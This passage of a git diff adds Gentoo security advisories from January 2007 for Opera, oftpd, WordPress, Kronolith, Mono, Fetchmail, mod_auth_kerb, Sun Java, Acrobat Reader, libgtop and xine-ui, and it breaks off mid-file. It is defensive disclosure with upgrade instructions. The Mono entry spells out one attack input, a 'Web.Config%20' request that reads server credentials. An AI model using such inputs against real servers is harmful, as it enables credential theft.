+    enticing a victim to open a specially crafted JPEG file or a website
+    containing malicious JavaScript code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The vendor recommends disabling JavaScript to avoid the
+    "createSVGTransformFromMatrix" vulnerability. There is no known
+    workaround for the other vulnerability.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.opera.com/support/search/supsearch.dml?index=851">Opera Advisory (createSVGTransformFromMatrix)</uri>
+    <uri link="http://www.opera.com/support/search/supsearch.dml?index=852">Opera Advisory (JPEG)</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0126">CVE-2007-0126</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0127">CVE-2007-0127</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 09 Jan 2007 12:37:33 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 09 Jan 2007 12:37:44 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 09 Jan 2007 18:43:10 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-09.xml b/xml/htdocs/security/en/glsa/glsa-200701-09.xml
new file mode 100644
index 00000000..d74811e8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-09.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-09">
+  <title>oftpd: Denial of Service</title>
+  <synopsis>
+    An assertion in oftpd could lead to a denial of service vulnerability.
+  </synopsis>
+  <product type="ebuild">oftpd</product>
+  <announced>January 15, 2007</announced>
+  <revised>January 15, 2007: 01</revised>
+  <bug>159178</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/oftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.3.7-r3</unaffected>
+      <vulnerable range="lt">0.3.7-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    oftpd is a small, anonymous only ftp daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    By specifying an unsupported address family in the arguments to a LPRT
+    or LPASV command, an assertion in oftpd will cause the daemon to abort.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote, unauthenticated attackers may be able to terminate any oftpd
+    process, denying service to legitimate users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All oftpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/oftpd-0.3.7-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6767">CVE-2006-6767</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 14 Jan 2007 22:33:02 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 23:05:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-10.xml b/xml/htdocs/security/en/glsa/glsa-200701-10.xml
new file mode 100644
index 00000000..f2b8e829
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-10.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-10">
+  <title>WordPress: Multiple vulnerabilities</title>
+  <synopsis>
+    WordPress is vulnerable to SQL injection, information disclosure, and
+    cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>January 15, 2007</announced>
+  <revised>January 15, 2007: 01</revised>
+  <bug>159229</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">2.0.6</unaffected>
+      <vulnerable range="lt">2.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a popular personal publishing platform with a web
+    interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    When decoding trackbacks with alternate character sets, WordPress does
+    not correctly sanitize the entries before further modifying a SQL
+    query. WordPress also displays different error messages in wp-login.php
+    based upon whether or not a user exists. David Kierznowski has
+    discovered that WordPress fails to properly sanitize recent file
+    information in /wp-admin/templates.php before sending that information
+    to a browser.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could inject arbitrary SQL into WordPress database queries.
+    An attacker could also determine if a WordPress user existed by trying
+    to login as that user, better facilitating brute force attacks. Lastly,
+    an attacker authenticated to view the administrative section of a
+    WordPress instance could try to edit a file with a malicious filename;
+    this may cause arbitrary HTML or JavaScript to be executed in users'
+    browsers viewing /wp-admin/templates.php.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-2.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6808">CVE-2006-6808</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0107">CVE-2007-0107</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0109">CVE-2007-0109</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 08 Jan 2007 10:45:23 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 09 Jan 2007 13:32:54 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 12 Jan 2007 13:12:39 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-11.xml b/xml/htdocs/security/en/glsa/glsa-200701-11.xml
new file mode 100644
index 00000000..f09c2b64
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-11.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-11">
+  <title>Kronolith: Local file inclusion</title>
+  <synopsis>
+    Kronolith contains a flaw that could allow the execution of arbitrary
+    files.
+  </synopsis>
+  <product type="ebuild">horde-kronolith</product>
+  <announced>January 16, 2007</announced>
+  <revised>January 16, 2007: 01</revised>
+  <bug>156627</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-kronolith" auto="yes" arch="*">
+      <unaffected range="ge">2.1.4</unaffected>
+      <vulnerable range="lt">2.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kronolith is a web-based calendar which relies on the Horde Framework
+    for integration with other applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kronolith contains a mistake in lib/FBView.php where a raw, unfiltered
+    string is used instead of a sanitized string to view local files.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An authenticated attacker could craft an HTTP GET request that uses
+    directory traversal techniques to execute any file on the web server as
+    PHP code, which could allow information disclosure or arbitrary code
+    execution with the rights of the user running the PHP application
+    (usually the webserver user).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All horde-kronolith users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-kronolith-2.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6175">CVE-2006-6175</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 14 Jan 2007 17:58:37 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 21:54:17 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Jan 2007 12:41:09 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-12.xml b/xml/htdocs/security/en/glsa/glsa-200701-12.xml
new file mode 100644
index 00000000..5f896df3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-12">
+  <title>Mono: Information disclosure</title>
+  <synopsis>
+    Mono does not properly sanitize pathnames allowing unauthorized information
+    disclosure.
+  </synopsis>
+  <product type="ebuild">mono</product>
+  <announced>January 16, 2007</announced>
+  <revised>January 17, 2007: 02</revised>
+  <bug>159886</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/mono" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2.1</unaffected>
+      <vulnerable range="lt">1.2.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mono provides the necessary software to develop and run .NET client and
+    server applications on various platforms.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jose Ramon Palanco has discovered that the System.Web class in the XSP
+    for the ASP.NET server 1.1 through 2.0 in Mono does not properly
+    validate or sanitize local pathnames which could allow server-side file
+    content disclosure.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could append a space character to a URI and obtain
+    unauthorized access to the source code of server-side files. An
+    attacker could also read credentials by requesting Web.Config%20 from a
+    Mono server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mono users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/mono-1.2.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6104">CVE-2006-6104</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 14 Jan 2007 18:42:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 21:54:13 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Jan 2007 00:17:42 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-13.xml b/xml/htdocs/security/en/glsa/glsa-200701-13.xml
new file mode 100644
index 00000000..18a28efd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-13.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-13">
+  <title>Fetchmail: Denial of Service and password disclosure</title>
+  <synopsis>
+    Fetchmail has been found to have numerous vulnerabilities allowing for
+    Denial of Service and password disclosure.
+  </synopsis>
+  <product type="ebuild">fetchmail</product>
+  <announced>January 22, 2007</announced>
+  <revised>January 22, 2007: 01</revised>
+  <bug>160463</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/fetchmail" auto="yes" arch="*">
+      <unaffected range="ge">6.3.6</unaffected>
+      <vulnerable range="lt">6.3.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fetchmail is a remote mail retrieval and forwarding utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    Neil Hoggarth has discovered that when delivering messages to a message
+    delivery agent by means of the "mda" option, Fetchmail passes a NULL
+    pointer to the ferror() and fflush() functions when refusing a message.
+    Isaac Wilcox has discovered numerous means of plain-text password
+    disclosure due to errors in secure connection establishment.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could deliver a message via Fetchmail to a message delivery
+    agent configured to refuse the message, and crash the Fetchmail
+    process. SMTP and LMTP delivery modes are not affected by this
+    vulnerability. An attacker could also perform a Man-in-the-Middle
+    attack, and obtain plain-text authentication credentials of users
+    connecting to a Fetchmail process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fetchmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/fetchmail-6.3.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5867">CVE-2006-5867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5974">CVE-2006-5974</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 Jan 2007 23:33:39 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 16 Jan 2007 17:08:58 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 02:05:45 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-14.xml b/xml/htdocs/security/en/glsa/glsa-200701-14.xml
new file mode 100644
index 00000000..78234654
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-14">
+  <title>Mod_auth_kerb: Denial of Service</title>
+  <synopsis>
+    Mod_auth_kerb is vulnerable to a buffer overflow possibly allowing a Denial
+    of Service.
+  </synopsis>
+  <product type="ebuild">mod_auth_kerb</product>
+  <announced>January 22, 2007</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>155782</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_auth_kerb" auto="yes" arch="*">
+      <unaffected range="ge">5.0_rc7-r1</unaffected>
+      <vulnerable range="lt">5.0_rc7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mod_auth_kerb is an Apache authentication module using Kerberos.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mod_auth_kerb improperly handles component byte encoding in the
+    der_get_oid() function, allowing for a buffer overflow to occur if
+    there are no components which require more than one byte for encoding.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could try to access a Kerberos protected resource on an
+    Apache server with an incorrectly configured service principal and
+    crash the server process. It is important to note that this buffer
+    overflow is not known to allow for the execution of code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_auth_kerb users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_auth_kerb-5.0_rc7-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5989">CVE-2006-5989</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 17 Jan 2007 22:33:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Jan 2007 22:40:53 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 01:47:32 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-15.xml b/xml/htdocs/security/en/glsa/glsa-200701-15.xml
new file mode 100644
index 00000000..ad2822cb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-15.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-15">
+  <title>Sun JDK/JRE: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple unspecified vulnerabilities have been identified in Sun Java
+    Development Kit (JDK) and Java Runtime Environment (JRE).
+  </synopsis>
+  <product type="ebuild">java</product>
+  <announced>January 22, 2007</announced>
+  <revised>July 16, 2008: 04</revised>
+  <bug>158659</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.09</unaffected>
+      <unaffected range="rge">1.4.2.18</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.13</unaffected>
+      <vulnerable range="lt">1.5.0.09</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.09</unaffected>
+      <unaffected range="rge">1.4.2.18</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.13</unaffected>
+      <vulnerable range="lt">1.5.0.09</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has discovered multiple buffer overflows in Sun JDK and Sun
+    JRE possibly related to various AWT or font layout functions. Tom
+    Hawtin has discovered an unspecified vulnerability in Sun JDK and Sun
+    JRE relating to unintended applet data access. He has also discovered
+    multiple other unspecified vulnerabilities in Sun JDK and Sun JRE
+    allowing unintended Java applet or application resource acquisition.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to run a specially crafted Java applet
+    or application that could read, write, or execute local files with the
+    privileges of the user running the JVM; access data maintained in other
+    Java applets; or escalate the privileges of the currently running Java
+    applet or application allowing for unauthorized access to system
+    resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun Java Development Kit users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-java/sun-jdk&quot;</code>
+    <p>
+    All Sun Java Runtime Environment users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-java/sun-jre-bin&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6731">CVE-2006-6731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6736">CVE-2006-6736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6737">CVE-2006-6737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6745">CVE-2006-6745</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jan 2007 22:36:56 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 21:54:21 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Jan 2007 01:12:01 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-16.xml b/xml/htdocs/security/en/glsa/glsa-200701-16.xml
new file mode 100644
index 00000000..c464b483
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-16.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-16">
+  <title>Adobe Acrobat Reader: Multiple vulnerabilities</title>
+  <synopsis>
+    Adobe Acrobat Reader is vulnerable to remote code execution, Denial of
+    Service, and cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>January 22, 2007</announced>
+  <revised>January 22, 2007: 01</revised>
+  <bug>159874</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">7.0.9</unaffected>
+      <vulnerable range="lt">7.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Acrobat Reader is a PDF reader released by Adobe.
+    </p>
+  </background>
+  <description>
+    <p>
+    Adobe Acrobat Reader in stand-alone mode is vulnerable to remote code
+    execution via heap corruption when loading a specially crafted PDF
+    file.
+    </p>
+    <p>
+    The browser plugin released with Adobe Acrobat Reader (nppdf.so) does
+    not properly handle URLs, and crashes if given a URL that is too long.
+    The plugin does not correctly handle JavaScript, and executes
+    JavaScript that is given as a GET variable to the URL of a PDF file.
+    Lastly, the plugin does not properly handle the FDF, xml, xfdf AJAX
+    request parameters following the # character in a URL, allowing for
+    multiple cross-site scripting vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PDF file
+    and execute arbitrary code with the rights of the user running Adobe
+    Acrobat Reader. An attacker could also entice a user to browse to a
+    specially crafted URL and either crash the Adobe Acrobat Reader browser
+    plugin, execute arbitrary JavaScript in the context of the user's
+    browser, or inject arbitrary HTML or JavaScript into the document being
+    viewed by the user. Note that users who have emerged Adobe Acrobat
+    Reader with the "nsplugin" USE flag disabled are not vulnerable to
+    issues with the Adobe Acrobat Reader browser plugin.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Acrobat Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-7.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5857">CVE-2006-5857</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0044">CVE-2007-0044</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0045">CVE-2007-0045</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0046">CVE-2007-0046</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0048">CVE-2007-0048</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 14 Jan 2007 12:10:48 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Jan 2007 00:45:48 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Jan 2007 12:38:29 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-17.xml b/xml/htdocs/security/en/glsa/glsa-200701-17.xml
new file mode 100644
index 00000000..9f18d646
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-17.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-17">
+  <title>libgtop: Privilege escalation</title>
+  <synopsis>
+    libgtop improperly handles filenames, possibly allowing for the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libgtop</product>
+  <announced>January 23, 2007</announced>
+  <revised>January 23, 2007: 01</revised>
+  <bug>162169</bug>
+  <access>local</access>
+  <affected>
+    <package name="gnome-base/libgtop" auto="yes" arch="*">
+      <unaffected range="ge">2.14.6</unaffected>
+      <vulnerable range="lt">2.14.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libgtop facilitates the libgtop_daemon, which is used by GNOME to
+    obtain information about remote systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Liu Qishuai discovered that glibtop_get_proc_map_s() in
+    sysdeps/linux/procmap.c does not properly allocate memory for storing a
+    filename, allowing certain filenames to cause the buffer to overflow on
+    the stack.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By tricking a victim into executing an application that uses the
+    libgtop library (e.g. libgtop_daemon or gnome-system-monitor), a local
+    attacker could specify a specially crafted filename to be used by
+    libgtop causing a buffer overflow and possibly execute arbitrary code
+    with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libgtop users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-base/libgtop-2.14.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0235">CVE-2007-0235</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 17 Jan 2007 22:40:30 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 17:24:28 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Jan 2007 12:14:40 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-18.xml b/xml/htdocs/security/en/glsa/glsa-200701-18.xml
new file mode 100644
index 00000000..03cd64b1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-18.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-18">
+  <title>xine-ui: Format string vulnerabilities</title>
+  <synopsis>
+    xine-ui improperly handles format strings, possibly allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-ui</product>
+  <announced>January 23, 2007</announced>
+  <revised>January 23, 2007: 01</revised>
+  <bug>161558</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/xine-ui" auto="yes" arch="*">
+      <unaffected range="ge">0.99.5_pre20060716</unaffected>
+      <vulnerable range="lt">0.99.5_pre20060716</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-ui is a skin-based user interface for xine. xine is a free
+    multimedia player. It plays CDs, DVDs, and VCDs, and can also decode
+    other common multimedia formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to the improper handling and use of format strings, the
+    errors_create_window() function in errors.c does not safely write data
+    to memory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted media file
+    with xine-ui, and possibly execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-ui users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/xine-ui-0.99.5_pre20060716&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0254">CVE-2007-0254</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 17 Jan 2007 22:36:36 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Jan 2007 22:40:52 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 01:55:17 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-19.xml b/xml/htdocs/security/en/glsa/glsa-200701-19.xml
new file mode 100644
index 00000000..e47c4fce
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-19.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
